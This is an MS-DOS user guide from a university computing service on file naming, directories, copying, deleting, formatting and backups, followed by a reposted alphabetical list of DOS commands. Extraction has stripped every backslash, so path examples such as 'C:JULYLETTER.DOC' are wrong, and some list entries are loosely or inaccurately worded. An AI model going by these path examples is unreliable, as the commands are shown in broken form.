This identifies the physical location of the file, e.g. C: for a hard or fixed disk inside the PC, or A: for a 3.5" disk that you can remove (often called a floppy disk or diskette).
Directory
A name for a related set of files stored together. You can use directories to organise the files stored on your disk.

These are described in more detail below.
2.1. File Names and Extensions

A file is identified by a filename, optionally followed by a dot and a filename extension, e.g.
EXEC.BAT
THESIS.DOC
MYPROG3.FOR

The filename may contain up to eight characters, and the extension may contain up to three characters. Filenames and extensions may contain any of the following letters and symbols:
A-Z a-z 0-9 ! # $ % ^ & ( ) _ - { } @ ~ #

However, it is common practice to use only letters and numbers for most purposes. It is possible to create files that have no filename extension, but you are recommended to always include one that is appropriate to the content of the file. Some programs expect files to have a particular file extension. For example, files stored by the Microsoft Word word-processing program normally have file extension DOC. Some common filename extensions are listed below:
.BAK
Previous generation of a file saved by an editor or word processor
.BAS
Basic source program
.BAT
Batch file containing a sequence of commands
.BMP
Bitmap image file
.COM
External command file
.DBF
Database file
.DLL
Dynamic link library
.DOC
Microsoft Word word processor document file
.DOT
Microsoft Word word processor document template
.EXE
Executable program file
.FOR
Fortran source program
.HLP
Help file
.INI
Program initialisation file
.LST
Listing file from a compiler
.PAS
Pascal source program
.SYS
System driver file
.WKS
Lotus 1-2-3 spreadsheet file
.TMP
Temporary file
.TXT
Plain text file
.XLS
Microsoft Excel spreadsheet file
.ZIP
Compressed file
2.2. Disk Drive Letters

Disk drive letters are usually followed by a colon (Smiley. A single diskette drive has drive letter A: and a hard disk has drive letter C:. If the PC has a second diskette drive then this is B:. Diskettes are often referred to as floppy disks. If a PC is connected to a network, then the network directories will be identified by one or more other drive letters such as F:, N: or Q:.

When using a command, you may need to type a drive letter before the filename to tell DOS where to find the disk that contains a file. If the drive letter is omitted when you type a filename, DOS automatically searches for the file on the disk in the default drive, i.e. the disk currently being used.

To let you know that it is ready to receive a command, DOS displays a prompt that starts with the current drive letter and ends with a greater-than sign (>). To switch to another drive, type the new drive letter followed by a colon. For example, if the original DOS prompt is
C:>

then type

A:

to specify that you want to work from the floppy disk. This will produce a new prompt:
A:>

This indicates that the A: drive is now the default drive. DOS will search this drive first to find any filenames that you type, unless you specify another drive. The DOS prompt usually includes the current directory, and if it does not it can be modified to do so, e.g.
C:JULY>

where JULY is the directory name. The command to set this prompt is:

PROMPT=$P$G

If there is no current directory then a backslash is shown before the > sign.
2.3. Directories

Each disk contains a file directory, which is a table of contents for the disk. It contains the names of the files stored on the disk, their sizes, and the date they were last modified. As the number of files in a directory grows, it is usual to organise the files into categories. You can use directories to group associated files together. A directory can contain files and other directories (referred to as subdirectories), which in turn may contain further subdirectories. Keeping related files in directories makes it easier to locate a particular file.

When a disk is formatted by DOS (see Section 6) a root directory or first-level directory is created. There is a limit to the number of entries in the root directory of a disk, but subdirectories may contain any number of entries, limited only by the amount of available space on the disk. The root directory is represented by a backslash ().

Each disk drive has a current directory. DOS will remember which directory is current on each of your drives, even when you are not accessing them.

A parent directory is any directory that contains subdirectories. The parent directory entry and the current directory entry are automatically created by DOS whenever a directory is created. DOS uses the shorthand names '.' to indicate the current directory, and '..' to represent the parent directory (i.e. one level up). Some examples of specifying directories are shown below:
represents the root directory.
PROJA
refers to a directory called PROJA under the root directory.
PROJAJIM
refers to subdirectory JIM in parent directory PROJA.
.
refers to the current directory.
..
refers to the parent directory. This might or might not be the root directory.
2.4. Identifying Files

In order to refer to a particular file on a disk, at least a filename must be given. Depending on the circumstances it may also be necessary to give a disk drive letter, a directory name and a filename extension. For example, a file called LETTER.DOC in a directory called JULY on disk C: may be identified in any of the following ways:
LETTER
filename only
LETTER.DOC
filename and file extension
JULYLETTER.DOC
directory name, filename and filename extension
C:JULYLETTER.DOC
disk drive letter, directory name, filename and extension

Note that it is possible to have subdirectories within directories, in which case two or more directory names may have to be given in order to uniquely identify a file.
2.5. Global Filename Characters

You can use the following global filename characters in some DOS commands (COPY, DEL, REN and DIR) to refer to a group of files by a general name, rather than specifying each file individually:
?
stands for any single character
*
stands for any sequence of characters

These are often known as wild-card characters. They may be used in the filename or the filename extension or both. For example:
A:*.DOC
refers to all files with extension DOC in the current directory of drive A:
C:TEST.*
refers to all files with filename TEST in the root directory of drive C:
C:*.*
refers to all files in the current directory of drive C:
THES?.*
refers to any files in the current directory of the default drive that have a filename of four or five characters beginningTHES

You should take great care when using wild-card characters and any filename extension with DEL or REN, as several files can easily be deleted or renamed with a single command.
2.6. Paths and Pathnames

When DOS is required to locate a program or batch file, and a directory is not specified, DOS searches only the current directory of the default drive. To refer to a file in a directory other than the current directory, DOS must be given the name of the directory and the filename, i.e. DOS is given the pathname to the file. A pathname is a sequence of directory names followed by a filename. Each directory name in a pathname is separated from the previous one by a backslash (). The sequence of directory names is referred to as the path. A pathname may contain any number of directory names up to a total length of 63 characters. If a pathname begins with a backslash, DOS searches for the file beginning at the root directory. For example, the pathname
EXAMPLESWORD5MEMO.DOC

refers to the file MEMO.DOC in the subdirectory WORD5 which is in the directory EXAMPLES.

The PATH command is used to set a command search path, i.e. to tell DOS which directories to search after searching the current directory. For example, the command

PATH C:USERPETE

tells DOS to search the subdirectory PETE in the directory USER on the C: drive for any commands (that are not internal DOS commands) which it can not find in the current directory. This path will remain active until you switch the machine off or set another path. Note that it is possible to give several directories in a single PATH command, by including a semicolon between pathnames, e.g.

PATH C:DOS;D:WINDOWS;C:MYPROG

The paths will be searched in the order given in the PATH command. It is advisable to always include the drive letter in a path.

It is possible to set a prompt and a search path every time a system is used, by including a PATH command in a file called C:AUTOEXEC.BAT. Any commands included in AUTOEXEC.BAT will be carried out each time the PC is switched on. For more details of the use of paths and AUTOEXEC.BAT, see User Note 510, Getting the Best from Your PC.
3. Entering DOS Commands

DOS commands may be typed in upper-case or lower-case letters (or a combination) in response to the DOS prompt. To submit a command, type it and press the Enter key. For example, to enter the command DIR, type

DIR

and press Enter. There are two types of DOS command: internal commands and external commands.
3.1. Internal Commands

The most commonly used DOS commands are internal commands, e.g. DIR, COPY, DEL, REN, CD, MD, RD and TYPE. These commands are loaded into memory when a PC is switched on and are carried out immediately they are typed.
3.2. External Commands

Any filename with an extension of COM, EXE or BAT is considered an external command. For example, files such as FORMAT.EXE and DISKCOPY.EXE are external commands. Before DOS can run an external command, it must read the command into memory from disk. When you give an external command, DOS immediately checks your current directory to find that command. If it is not found, you must tell DOS which directory the external command is in by typing the pathname before the command, e.g.

C:DOSFORMAT A:

where the FORMAT command is in the directory DOS on drive C:.
3.3. Repeating Commands

If you make a mistake when typing a DOS command you will get an error message such as:
Bad command or file name

You can then simply retype the command correctly, but for long commands this can be irritating. An easier method is to press the right arrow key or F1 key. Each time you do this a letter of the previous command will be displayed. When you get to the incorrect letter you can simply type the correct letter instead of pressing the right arrow key. You can also use the Insert and Delete key to make changes to the command. When the correct command is displayed, press Enter as usual to submit it.

In DOS 5 and later versions there is a command called DOSKEY that allows you to see and repeat several earlier commands by pressing the up arrow and down arrow keys. DOSKEY may already be available on your system. If not, you can type the command DOSKEY to make it available, then press up arrow to recall commands.
4. Handling Files

This section gives examples of some commonly used DOS commands for controlling files. Most commands have a number of possible parameters. Details of the full format of commands are given by the HELP command (in DOS 5 and later versions).
4.1. Displaying a List of Files

The DIR command is used to list all the files in a directory or a specified group of files. You can use the wild-card characters ? and * in the filename and extension with the DIR command. If either the filename or filename extension are omitted, the default is *. The /P parameter is very useful as it makes the directory display stop scrolling when the screen is full. For example:

DIR

displays all the directory entries for the current directory of the default drive.

DIR C:

displays all the directory entries for the current directory on drive C:.

DIR /P

lists all the directory entries in the current directory on the default drive, one screenful at a time. Press any key to resume scrolling the display, or Ctrl and C to interrupt it.

DIR A:FILE1.* /S

lists the directory entries for all files named FILE1 in the current directory and its subdirectories on drive A: (regardless of their filename extension).

The information provided in the directory listing includes the disk identification and the amount of free space left on the disk. The display line for each file includes its size in bytes (characters) and the date and time that the file was last updated. Entries that name other directories are clearly identified by

instead of the size of the file. You can display a large number of directory entries on the screen at one time by using the /W parameter, e.g.

DIR /W

In this case the file names and extensions are listed across the screen, but the file size and date are not included, and directories are shown in square brackets.
4.2. Displaying the Contents of a File

The TYPE command may be used to display the contents of a file on the screen. Wild-card characters are not allowed in the filename or extension. To stop the display disappearing off the screen, press the Ctrl and S keys together or use MORE as shown below. For example:

TYPE D:MYFILE.BAT

displays the file MYFILE.BAT, which is held in the current directory on drive D:.

TYPE SUBDPROG.FOR

displays the file PROG.FOR, which is held in the directory SUBD on the default drive.

TYPE HOLIDAY.DAT | MORE

displays the file HOLIDAY.DAT in the current directory one screenful at a time. To see the next screenful, press any key. To interrupt the display, press Ctrl and C.

The MORE command may be used as an alternative to TYPE with MORE, e.g.

MORE < HOLIDAY.DAT

Note that MORE is an external DOS command and so the MORE command or pipe will only work if the file MORE.COM is in a directory on the current path.

Only text files are displayed by TYPE or MORE in a legible format. Other files, such as word processor files or program files, appear unreadable due to the presence of non-alphabetic and non-numeric characters.
4.3. Renaming Files

The REN or RENAME command is used to change the name of a file. The name of the first file specified is changed to the second one. A path can be specified only with the first file name; the file will remain in the same directory after its name has been changed. The wild-card characters ? and * may be used with this command. For example:

RENAME A:LETTER.TXT MEMO.TXT

changes the name of the file LETTER.TXT on drive A: to MEMO.TXT.

REN *.TXT *.DOC

changes the filename extension of all files with an extension of TXT in the current directory from TXT to DOC.
4.4. Deleting Files

The DEL or ERASE command is used to delete a file or group of files from a disk. You should take great care when using the wild-card characters ? and * with this command, as several files can easily be erased with a single command. For example:

DEL *.TXT

deletes all files with filename extension TXT in the current directory.

DEL A:FILE1.DAT

deletes the file FILE1.DAT from the disk in drive A:.

ERASE C:LEVEL1

deletes all files from the directory LEVEL1 on drive C:.

ERASE *.*

deletes all files in the current directory. The following message is displayed as a precaution:
Are you sure (Y/N)?

Type Y if you really do want to erase all the files.

DEL FILE1 /P

prompts before it deletes the file. This parameter was not available in DOS version 3.3.
4.5. Copying Files

DOS provides three main commands for copying files:
COPY
is used to copy one or more files to a specified disk or directory. This is described below.
XCOPY
is used to copy complete directories, including any subdirectories. This is described in Section 5.5.
DISKCOPY
is used to copy entire disks. This is described in Section 7.

The COPY command is used to copy a file or group of files from one disk to another or from one directory to another. The wild-card characters ? and * may be used with this command. The file to be copied (the source file) is named first. If the second parameter is a directory, files are copied into that directory without changing their names. For example:

COPY ACCOUNTS.WKS C:OCTACC.WKS

copies the file ACCOUNTS.WKS from the current drive and directory to the file ACC.WKS in the directory OCT on drive C:.

COPY B:MYPROG.FOR A:

copies the file MYPROG.FOR from drive B to drive A: with no change in the filename or extension.

COPY A:*.* C:

copies all files in the current directory on drive A: to drive C, with no change in the filename or extension. The names of the files will be displayed as they are copied.
4.6. Moving Files

In MS-DOS version 6 the MOVE command was introduced, to allow you to move files from one directory to another, instead of having to copy and delete them. Its usage is very similar to COPY. For example,

MOVE *.DOC C:DOCS

would move all DOC files from the current directory to the DOCS directory on drive C:. In earlier versions of DOS, files can be moved by using COPY to copy a file, then DEL remove the original one.
4.7. Printing Files

There are a number of ways of printing information on paper if you have a printer connected to a PC:
Use the PRINT command (not recommended).
Use a DOS command such as COPY, TYPE or DIR with the output directed to a printer, as described below.
Press the Print Screen key to print the current screen display.
Use the printing option of an application program such as a word processor or spreadsheet.

The PRINT command is not recommended as it is actually a 'terminate-and-stay-resident' program (TSR), which means that there is less memory available in a machine after using it. PRINT can also cause problems when using a PC connected to a network, and so should generally be avoided from networked PCs.

DOS uses the keywords PRN, LPT1, LPT2 and LPT3 to refer to a printer connected to the PC. If there is only one printer this may be referred to as either PRN or LPT1. If there are two printers available they are usually referred to as LPT1 and LPT2. These keywords may be used as parameters to DOS commands to direct output to a specified printer. For example:

COPY A:READY.TXT LPT1

prints the contents of the file READY.TXT from the disk in drive A:.

DIR PRICES >PRN

prints a list of all entries in the directory PRICES.

TYPE C:AUTOEXEC.BAT >LPT2

prints the contents of the file AUTOEXEC.BAT on the printer connected to the second parallel port.
4.8. Creating and Changing Files

There are several ways in which files may be created under DOS, for example:
By copying the contents of an existing file to a new one.
By using an editor such as DOS EDIT (DOS 5 or later) or EDLIN (earlier versions).
By transferring a file from another computer system.
By running a program which generates an output file.
By entering information into an application program such as a word processor, spreadsheet or database program, and saving a file from within the program.

The procedure for copying files is described in Section 4.5.

If you use a word processor such as Microsoft Word to create and amend files, you should be aware that the files created will be stored in a format specific to that program. This presents no problems for files containing text, but it is not normally appropriate for files containing data, commands or programs. For creating or amending these types of files there are two main options:
Use a word processor such as Word, but make sure that the file contents are arranged as required and that the file is saved in a 'text-only-with-line-breaks' format rather than in the program's usual internal format.
If you have DOS version 5 or later, you can use the EDIT command to run the full-screen text editor. This command includes on-line help. For example, to create or change a file called EXPT.DAT, type:

EDIT EXPT.DAT

You can then type or amend the contents as you would expect, using the cursor and backspace keys to move around the file. To quit the editor, press Alt and F then X. You will be prompted whether or not you wish to save the file.

If you have an earlier version of DOS, the EDIT command is not available. There is a line editor called EDLIN but this is awkward to use. There are other alternatives, such as MicroEMACS or PC-Write, which are not part of DOS but are freely available and run under DOS 3. Contact Computing Service Advisory for details.
5. Handling Directories

The use of directories for storing files makes it easy to organise large quantities of information in a meaningful way. DOS always looks in the current directory to find any files whose names are entered without specifying a path.
5.1. Moving Between Directories

The CD command (short for CHDIR) is used to change the current directory. For example:

CD

changes the current directory of the default drive to its root directory.

CD ..

changes the current directory from a subdirectory to its parent directory.

CD TUFNELL

changes to the subdirectory TUFNELL within current directory.

CD C:LEVEL1LEVEL2

changes the current directory of drive C:to the path LEVEL1LEVEL2. The backslash () tells DOS to start at the root directory.

CD

displays the current directory path of the default drive.
5.2. Displaying the Contents and Structure of Directories

To display the contents of a directory, use the DIR command as described in Section 4.1. For example, to display the files in the directory EXAMPLES, you could first type

CD EXAMPLES

to change to the EXAMPLES directory, then type

DIR

to display the list of files in that directory. Alternatively, you could display all the files in EXAMPLES from within the root directory, one screenful at a time, by typing:

DIR EXAMPLES /P

Once you have a significant number of directories and subdirectories, it is easy to forget where a file is located. In this case you can use DIR with the /S option as well, e.g.

DIR /S /P

would display all files in all subdirectories of the current directory. Note that the /S option is not available in DOS version 3.

It is possible to change the default operation of the DIR command by setting a variable in your AUTOEXEC.BAT file. For example, if you added the line
SET DIRCMD=/O:-D-G/P

to AUTOEXEC.BAT, then whenever you just typed DIR files would be listed in date order one screen at a time, with the most recently created or changed file shown first.
5.3. Making Directories

The MD command (short for MKDIR) is used to create a directory or subdirectory on a specified disk. DOS automatically makes the '.' and '..' entries in a new directory, representing the current directory and the parent directory respectively. Directory names may contain up to eight characters, including any of the same symbols as filenames (see Section 2.1). For example:

MKDIR REPORTS

creates the subdirectory REPORTS under the root directory of the current drive.

MD LEVEL42

creates the subdirectory LEVEL42 within the current directory or subdirectory. The absence of a leading backslash causes DOS to begin at the current directory.

Note that directory names can include extensions. For example,

MD N:WIN4WG-3.11

creates the directory WIN4WG-3.11 on drive N.
5.4. Removing Directories

The RD command (short for RMDIR) is used to remove a directory from a disk. A directory can be removed only if it is empty, i.e. if the special entries '.' and '..' are the only two entries displayed when the DIR command is issued. The root directory and the current directory cannot be removed. For example:

RMDIR BRAIN

removes the directory BRAIN from the current directory.

RD C:SEP94DATA

removes the subdirectory DATA from the directory SEP94 on the C: disk.

If you have DOS version 6.0 or later, a new command, DELTREE, allows deletion of a directory and all of its files and subdirectories. Note, however, that this command could potentially delete most of the files on the disk, so it should be used with great care.
5.5. Copying Directories

The XCOPY command may be used to copy files and directories, including the contents of any subdirectories that exist. There are a number of optional parameters to the command, but the most useful ones are /S and /P. For example:

XCOPY A: B: /S

copies all the files and subdirectories on the disk in drive A: to the disk in drive B.

XCOPY C: A: /S /P

copies files and subdirectories from the current directory on drive C:to the disk in drive A, but prompts with (Y/N)? before each file, allowing you to confirm whether you want the file to be copied.
6. Formatting Disks

The FORMAT command is used to prepare a disk for use. FORMAT initialises the disk in the designated drive, analyses the entire disk for any defective tracks, and prepares the disk to accept DOS files by initialising the directory. When a disk is new, it must be formatted before you can use it. If you format a disk that contains information, the information is destroyed. Because of this you should be very careful before you decide to format any disk.

Most models of PC have disk drives that use high-density 3.5" disks, which can store 1.44 Mb. Some new models have disk drives that handle disks which can store 2.88 Mb. Older models of PC have disk drives that use 5.25" disks storing either 360 Kb or 1.2 Mb, or standard-density 3.5" disks which can store 720 Kb of information. Some models have two or three different types of disk drive. A disk drive will try to format a disk to its maximum design capacity unless told otherwise. For example, if you type

FORMAT A:

to format a 3.5" disk, DOS will attempt to format the disk for either 720 Kb or 1.44 Mb, depending on whether drive A: is a standard-capacity (720 Kb) or high-capacity drive (1.44 Mb). This can cause a problem if you want to format a standard-density disk in a high-capacity drive (e.g. in order to transfer information to a PC that is only equipped with standard-capacity disk drives). If you are sure that you want to format a standard-density disk in a high-capacity drive, use one of the following commands, depending on the size of disk:

For a 3.5" disk, use the command:

FORMAT A: /N:9 /T:80

This command limits the number of sectors and tracks on the disk to values suitable for a standard-density 720 Kb disk. A standard-density disk formatted to 720Kb in a high-capacity disk drive should be perfectly reliable.

For a 5.25" disk, use the command:

FORMAT A: /4

This may work but is not guaranteed; the IBM DOS manual states 'this parameter is intended to allow use of double-sided diskettes in high capacity drives. However, the diskettes formatted with the /4 parameter specified may not be read reliably or written in a double-sided drive'.

You should ensure that you do not under any circumstances attempt to format a standard-density disk as high-density, or vice versa. If you do this you will risk losing all the data subsequently written to the disk, and will encounter problems when trying to use the disk on different machines.

When a FORMAT command is issued, the system displays the message:
Insert new diskette for drive A:
and strike ENTER when ready

The formatting process takes several seconds. When it is complete, you will get a message showing the number of bytes of space available on the disk followed by the question Format another (Y/N)?. Type N to end the FORMAT command or Y to format another disk.
7. Copying and Backing Up Disks

When you use a PC, you will normally be responsible for keeping a secure copy of all your own files on your own fixed disk or diskettes or both. Disks are susceptible to errors and damage, so any important files should be stored in duplicate (at least) with the copies on another disk. Please remember that the secure storage of your files is your own responsibility. In many cases files can not be recovered from corrupt disks, and files which have been accidentally deleted cannot necessarily be recovered.

Each time you make major changes to a file you should copy the file from the disk you are working with to another disk, so that you always have at least one back-up copy available. You may copy individual files with the COPY command or copy whole directories and subdirectories with the XCOPY command, as described in Sections 4.5 and 5.5. In addition, the DISKCOPY and BACKUP commands are particularly useful for copying complete disks. These are described below.

DISKCOPY may be used to copy the contents of one disk (the source) to another (the target), provided that the two disks have the same format. If necessary the target disk is formatted during the copy. For example, the command

DISKCOPY A: B:

will copy the entire contents of the disk in drive A: to the disk in drive B.

If you specify the same drive, a one-drive copy operation will be performed and you will be prompted to insert different disks at the appropriate times. In this case remember that 'SOURCE' means the original disk, and 'TARGET' means the copy you are creating. Before beginning the operation, you should always make sure that the source disk is write-protected (which means that you can not store any new information on it), and so if you do make a mistake and insert the wrong diskette you will get a warning message but will not lose any information. (To write-protect a 3.5" disk, slide the black tab in the corner so that so you can see through a hole in the disk; to write-protect a 5.25" disk, cover the notch near the corner with a small sticky label.)

The procedure for one-drive copying is summarised below:
Obtain the DOS prompt, showing that DOS is ready for a command, and type:

DISKCOPY A: A:

The system displays the message:
Insert SOURCE diskette in drive A:
Press any key when ready
Make sure the disk to be copied (the source) is write-protected, then insert it in drive A: and press Enter to start the disk copying process. The contents of the disk are read into memory, and the system then displays the message:
Insert TARGET diskette in drive A:
Press any key when ready
Remove the source disk from drive A, insert the disk that will become the copy (the target), and press any key to continue. Depending on the amount of memory available in the computer, you may have to switch the disks in this way several times.
Keep switching disks when prompted until the system displays the message:
Copy another diskette (Y/N)?
Type N to end the DISKCOPY command, remove the copy from drive A, label it and store the original disk in a safe place.

In DOS 3 and 5, the BACKUP command may be used to make a complete security copy of a fixed disk to a series of diskettes. For example, the command

BACKUP C: A: /S

will copy all files in all directories and subdirectories from the C:disk to the diskettes in drive A:. You should have plenty of formatted diskettes before using this command, as in some versions of DOS the BACKUP command does not allow you to format diskettes. In MS-DOS version 6, the equivalent command is MSBACKUP.
8. MS-DOS Version 5

New features in MS-DOS version 5 include:
Online help for all commands, accessed by typing HELP followed by the command name, e.g. HELP DIR. The Help screen can be operated via keyboard or mouse (if a mouse is available). To close a help screen, press Alt F X or, if a mouse is available, select File then Exit. Useful examples are given for all commands, and the information can be printed.
MS-DOS Editor, providing a full-screen text editor, which is much easier to use than the EDLIN line editor. It is accessed by typing the command EDIT, and includes online help.
Two new commands, UNFORMAT and UNDELETE, allow you to restore a newly formatted disk to its original state, and to recover a deleted file.
The DIR command has been improved by the addition of parameters to allow sorting and display of subdirectories. Details are provided by typing HELP DIR.
A new program called DOSKEY has been added, which allows you to access commands typed in earlier. To activate this program, type DOSKEY. You can then use the up and down arrow keys to access previously typed commands. Type HELP DOSKEY for details of further facilities offered by this command.
MS-DOS Shell, which is a colour graphical representation of all files and directories on the disk, designed to simplify tasks such as moving between directories and performing commands. Despite this, it has not proved particularly popular. It does have an additional useful command, SEARCH, which allows a search over the entire disk for a particular file. It is accessed by typing the command DOSSHELL, and has full online help available.
9. MS-DOS Version 6

New features in MS-DOS version 6 include:
A particularly useful new command, MOVE, has been introduced. This has a similar syntax to the COPY command described in Section 4.5, but deletes the source file from the disk and moves it to the new location. It can also be used to rename directories. For more information, type HELP MOVE.
A new DELTREE command, which allows you to delete a directory and all of its files and subdirectories. Used carefully, this is a time-saving way of deleting a large number of files and directories. Consequently, however, a mistake in the execution of the command could have drastic results, so it should be used with due regard for the consequences which could ensue.
The ability to have more than one configuration in your CONFIG.SYS file. This may be useful if you share your computer with other users or wish to test a new system setup. See the manual or type HELP MULTI-CONFIG for details of this new facility.
Microsoft DoubleSpace, which increases the available disk space by compressing files. Note, however, that there has been some dispute about the reliability and legality of using this program, particularly since corrupted files can result, and it is therefore recommended that you free space by ensuring that you delete any files you do not need rather than by using DoubleSpace. MS-DOS version 6.2 is reported to overcome these problems, while MS-DOS 6.22 replaces it entirely with a different facility called DriveSpace.
Microsoft Anti-Virus, which identifies over 1000 known viruses. However, note that the Computing Service recommends using Dr Solomon's Anti-Virus Toolkit, for which the University has access to the latest version of the software. It is necessary to register and pay for updates of Microsoft Anti-Virus; details are given in the MS-DOS 6 User Guide.
Improved memory optimisation, disk reorganisation and performance tuning. Full details are provided in the manual, but technical assistance may be required to implement the necessary commands. Contact Computing Service Advisory if you have any doubts about the performance of your system.
A new program called INTERLNK which is useful if you regularly need to swap files with another computer, for example a laptop system. INTERLNK allows you to transfer files from one computer to another without the need for floppy disks. Note that you do require a special cable, and that changes need to be made to your CONFIG.SYS file. The manual gives full details, but contact Computing Service Advisory for assistance if in doubt.
10. Using DOS from Windows

Almost all new PCs are now supplied with Microsoft Windows. The use of Windows, and File Manager in particular, can save you typing DOS commands. However, for some tasks, some people find it simpler and quicker to escape to DOS. To use DOS from Windows, select the icon:



You will then normally get a full-screen DOS display and can type DOS commands as usual, though there will be less memory available for running programs. To put the DOS screen in a Window, press Alt and Enter. To return from DOS to Windows, type:

EXIT
11. Further Information

The main MS-DOS reference is the HELP command. For introductory information on using Windows, see User Note 521, Using Microsoft Windows. For information on PC hardware, advice on PC usage, details of command files, batch files and paths, further information about formatting and backing up disks, network usage, terminal emulation and other useful information, see User Note 510, Getting the Best from Your PC. Both these documents are available from the Computing Service. If you have any queries about using DOS, contact Computing Service Advisory (ext 4831 or electronic mail to adviser@compserv.gla.ac.uk).

Posted by Cyber Trunks

ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND Causes MS-DOS to look in other directories when editing a file or running a command.
ARP Displays, adds, and removes arp information from important]devices[.
ASSIGN Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the important harddisk
running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMMAND Opens the command interpreter.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a file back to it's original format.
EXTRACT Extract files from the Microsoft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to drive
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation. <<<<<<<<<<<<<<<<
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early Microsoft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
RECOVER Recovers readable information from a bad or defective disk.
REM Records comments (remarks) in batch files or CONFIG.SYS.
REN Renames a file or directory.
RENAME Renames a file or directory.
REPLACE Replaces files.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.

Posted by Cyber Trunks
Your Ad Here